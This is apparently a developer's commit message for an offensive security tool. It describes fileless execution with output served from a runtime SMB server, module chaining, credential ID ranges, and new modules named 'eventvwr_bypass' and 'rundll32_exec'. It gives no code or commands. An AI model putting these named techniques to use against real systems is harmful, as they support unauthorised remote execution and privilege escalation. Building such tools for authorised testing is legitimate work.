Initial implementation of module chaining

Oook, this commit is basicallu just so I can start tracking (and
testing) all of the changes made so far:

- All execution methods are now completely fileless, all output and/or batch
  files get outputted/hosted locally on a SMB server that gets spun up on runtime

- Module structure has been modified for module chaining

- Module chaining implementation is currently very hacky, I definitly
  have to figure out something more elegant but for now it
  works. Module chaining is performed via the -MC flag and has it's own
  mini syntax (will be adding it to the wiki)

- You can now specify credential ID ranges using the -id flag
- Added the eventvwr_bypass and rundll32_exec modules
- Renamed a lot of the modules for naming consistency

TODO:

- Launchers/Payloads need to be escaped before being generated when
  module chaining

- Add check for modules 'required_server' attribute
- Finish modifying the functions in the Connection object so they return
  the results
